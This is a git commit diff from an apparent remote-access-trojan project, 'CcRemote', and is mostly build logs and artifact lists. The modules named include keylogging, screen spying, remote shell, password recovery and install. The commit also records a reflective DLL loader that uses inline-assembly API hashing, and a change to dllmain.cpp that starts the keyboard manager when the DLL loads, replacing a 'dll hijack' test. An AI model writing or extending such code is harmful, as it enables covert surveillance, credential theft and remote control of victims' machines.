DLL reflection load successfully executed

This commit is contained in:
Cc28257 2020-10-10 15:46:15 +08:00
parent b2389c2041
commit 3bff4e9ed2
10 changed files with 47 additions and 37 deletions

Binary file not shown.

View File

@ -1 +1,29 @@
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditopt.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog

View File

@ -168,22 +168,22 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVe
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(230): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(235): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(253): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(258): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明 d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
StrCry.cpp StrCry.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配 f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”可能丢失数据 f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”可能丢失数据
正在生成代码... 正在生成代码...
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(416): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(421): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(1091): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(1096): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(322): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(327): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(324): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(333): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(338): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(336): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(341): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(345): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(350): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(368): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(373): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略 LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp 正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突请使用 /NODEFAULTLIB:library LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突请使用 /NODEFAULTLIB:library

View File

@ -36,5 +36,6 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.delete.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog

View File

@ -164,9 +164,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVe
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(230): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(252): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(253): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明 d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
StrCry.cpp StrCry.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配 f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配

View File

@ -211,11 +211,12 @@ BOOL APIENTRY DllMain( HMODULE hModule,
{ {
case DLL_PROCESS_ATTACH: case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH: case DLL_THREAD_ATTACH:
//CKeyboardManager::g_hInstance = (HINSTANCE)hModule; {
//CKeyboardManager::m_dwLastMsgTime = GetTickCount(); CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
//CKeyboardManager::Initialization(); CKeyboardManager::m_dwLastMsgTime = GetTickCount();
MessageBoxA(0, "dll hijack", "test", 0); CKeyboardManager::Initialization();
break; break;
}
case DLL_THREAD_DETACH: case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH: case DLL_PROCESS_DETACH:
break; break;
@ -225,10 +226,8 @@ BOOL APIENTRY DllMain( HMODULE hModule,
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort) extern "C" __declspec(dllexport) void TestFun()
{ {
strcpy(g_strHost, strHost); // 保存上线地址
g_dwPort = nPort; // 保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL); HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束 //这里等待线程结束
WaitForSingleObject(hThread, INFINITE); WaitForSingleObject(hThread, INFINITE);

View File

@ -1,17 +1 @@
f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.obj
f:\myapp\ccremote\bin\server\testloaddll.exe
f:\myapp\ccremote\bin\server\testloaddll.ilk
f:\myapp\ccremote\bin\server\testloaddll.pdb
f:\myapp\ccremote\bin\server\testloaddll.ipdb
f:\myapp\ccremote\bin\server\testloaddll.iobj
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.delete.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.write.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\testloaddll.write.1u.tlog

Binary file not shown.

Binary file not shown.

Binary file not shown.